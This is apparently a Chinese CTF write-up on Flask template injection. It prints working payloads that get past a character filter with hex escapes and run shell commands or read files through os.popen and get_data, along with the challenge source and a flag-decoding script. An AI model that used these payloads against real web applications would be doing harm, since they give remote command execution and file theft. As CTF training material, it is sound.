写在最前面
在博主写这个题的时候突然页面无法交互,即点了那个Go按钮并没有提交数据没有反应,后来捣鼓了大半天才发现是原HTML文件应用的JQuery在线库连不上的原因,最后在写这篇文章的时候又发现JQuery在线库又能连上了......
这个在线库当时博主无法连接上,而HTML中的JS代码又使用了JQuery中定义的语法这就导致没有相应的问题。通过控制台会发现是在HTML文件的这个位置出现了问题:
如果出现上述问题的话需要开启VPN或其他方法,保证能连接到在线JQuery库就能正常做题了。或者等上一段时间,说不定就像博主这样突然又能连接上了。
关于Flask的SSTI基础知识可以参考博主以前写的入门向文章:SSTI(模板注入)--Flask(萌新向) | [BUUCTF题解][CSCCTF 2019 Qual]FlaskLight & [GYCTF2020]FlaskApp(SSTI) - Article_kelp - 博客园 (cnblogs.com)
开始解题
题目就点明了为flask的ssti,简单的测试也证明了存在SSTI。
先测试哪些关键字被过滤了。经过一番测试后发现没有关键字被过滤,倒是符号"."、"‘"和"_"被过滤了。
单引号'被过滤可以用双引号"代替;至于点.和下划线_被过滤可以采用16进制来表示,用[](类似数组下标)的方式选定。知道怎么过滤了那就照着以前payload修改就好了。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("whoami")["read"]()}}
先测试是否可行。
那去找找flag文件,但是根目录下并没有找到。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls /")["read"]()}}
那就去读取一下当前目录下的配置文件。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("ls")["read"]()}}
读取app.py。
payload:{{config["\x5f\x5fclass\x5f\x5f"]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"]["popen"]("cat app\x2epy")["read"]()}}
还有另外一种读取的方式,利用了Flask中定义的函数get_data来读取数据(官方文档:API — Flask 中文文档 (2.0.1) (dormousehole.readthedocs.io))。
注意想使用这个函数必须先找到定义了这个函数的类才能调用,师傅们的payload为:
{{[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[91]["\x67\x65\x74\x5f\x64\x61\x74\x61"](0,"app\x2epy")}}
import random
from flask import Flask, render_template_string, render_template, request
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = 'folow @osminogka.ann on instagram =)'
#Tiaonmmn don't remember to remove this part on deploy so nobody will solve that hehe
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
app.config['flag'] = encode('', 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
'''
def encode(line, key, key2):
return ''.join(chr(x ^ ord(line[x]) ^ ord(key[::-1][x]) ^ ord(key2[x])) for x in range(len(line)))
file = open("/app/flag", "r")
flag = file.read()
app.config['flag'] = encode(flag, 'GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3', 'xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT')
flag = ""
os.remove("/app/flag")
nicknames = ['˜”*°★☆★_%s_★☆★°°*', '%s ~♡ⓛⓞⓥⓔ♡~', '%s Вêчңø в øĤлâйĤé', '♪ ♪ ♪ %s ♪ ♪ ♪ ', '[♥♥♥%s♥♥♥]', '%s, kOтO®Aя )(оТеЛ@ ©4@$tьЯ', '♔%s♔', '[♂+♂=♥]%s[♂+♂=♥]']
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
p = request.values.get('nickname')
id = random.randint(0, len(nicknames) - 1)
if p != None:
if '.' in p or '_' in p or '\'' in p:
return 'Your nickname contains restricted characters!'
return render_template_string(nicknames[id] % p)
except Exception as e:
print(e)
return 'Exception'
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337)
给出了flag的加密方式,加密后的flag存放在config中,那将flag读取出来再解密就好了。
写的简陋的python解密脚本如下(在文章写完前突然找到其他师傅的文章中说,由于采用的是异或算法所以对加密后的flag再次调用encode即可decode,Orz博主只知道写爆破):
key='GQIS5EmzfZA1Ci8NslaoMxPXqrvFB7hYOkbg9y20W3'
key2='xwdFqMck1vA0pl7B8WO3DrGLma4sZ2Y6ouCPEHSQVT'
flag_encoded='这里放加密后的flag'
flag=''
for x in range(len(flag_encoded)):
for i in range(33,127):
if flag_encoded[x]==chr(x ^ i ^ ord(key[::-1][x]) ^ ord(key2[x])):
flag+=chr(i)
print(flag)
break
需要注意的是题目简介中给出的key和key2和实际题目中是不同的,要按实际题目中的key和key2为准。
此外由于flag最初是存放在文件中,后由app.py读取后删除了该文件,所以可以利用这一点访问/proc/self/fd/,在其中的3即使此前打开的flag文件。
具体原理可以参考这位师傅的文章:-----已搬运-------Linux的/proc/self/学习 ++ CTF例题_Zero_Adam的博客-CSDN博客
需要注意的是proc/self/的特性,按照文中师傅的说法,我们采用cat去读取获取的时关于cat进程的信息,所以应该采用此前的Flask中的get_data函数,这样读取时获取到的是python进程的信息。
写在最后面
师傅们好强a,看WP发现好多知识都不曾接触过Orz,不知道多久才能望其项背。如果文中有不当或不对之处,欢迎各位师傅指正。